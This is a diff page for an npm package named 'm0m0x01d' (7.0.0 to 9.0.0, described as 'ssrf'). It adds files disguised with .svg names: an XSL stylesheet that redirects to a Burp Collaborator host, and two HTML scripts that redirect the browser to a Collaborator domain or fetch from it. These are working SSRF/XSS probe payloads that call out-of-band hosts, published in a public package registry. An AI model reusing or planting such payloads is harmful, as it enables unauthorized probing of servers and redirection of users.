m0m0x01d 7.0.0 → 9.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (5) hide show
  1. package/package.json +1 -1
  2. package/redirect.svg.xml +3 -0
  3. package/redirect.svg.xsl +14 -0
  4. package/xss.svg.html +4 -0
  5. package/xss1.svg.html +6 -0
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "m0m0x01d",
3
- "version": "7.0.0",
3
+ "version": "9.0.0",
4
4
  "description": "ssrf",
5
5
  "main": "index.html",
6
6
  "scripts": {
package/redirect.svg.xml ADDED
@@ -0,0 +1,3 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <?xml-stylesheet type="text/xsl" href="redirect.svg.xsl"?>
3
+ <root/>
package/redirect.svg.xsl ADDED
@@ -0,0 +1,14 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
3
+ <xsl:template match="/">
4
+ <xsl:variable name="url" select="'https://086sqqjyqn0pskt86ozgjwgqwh2aqz.burpcollaborator.net'"/>
5
+ <html>
6
+ <head>
7
+ <meta http-equiv="refresh" content="0; url={$url}" />
8
+ </head>
9
+ <body>
10
+ Redirecting to <xsl:value-of select="$url" />
11
+ </body>
12
+ </html>
13
+ </xsl:template>
14
+ </xsl:stylesheet>
package/xss.svg.html ADDED
@@ -0,0 +1,4 @@
1
+ <script>
2
+ window.location.href = 'https://7bjztxm5tu3wvrwf9v2nm3jxzo5gt5.burpcollaborator.net';
3
+ </script>
4
+
package/xss1.svg.html ADDED
@@ -0,0 +1,6 @@
1
+ <script>
2
+ fetch('https://7bjztxm5tu3wvrwf9v2nm3jxzo5gt5.burpcollaborator.net/api').then(response => {
3
+ console.log(response);
4
+ });
5
+ </script>
6
+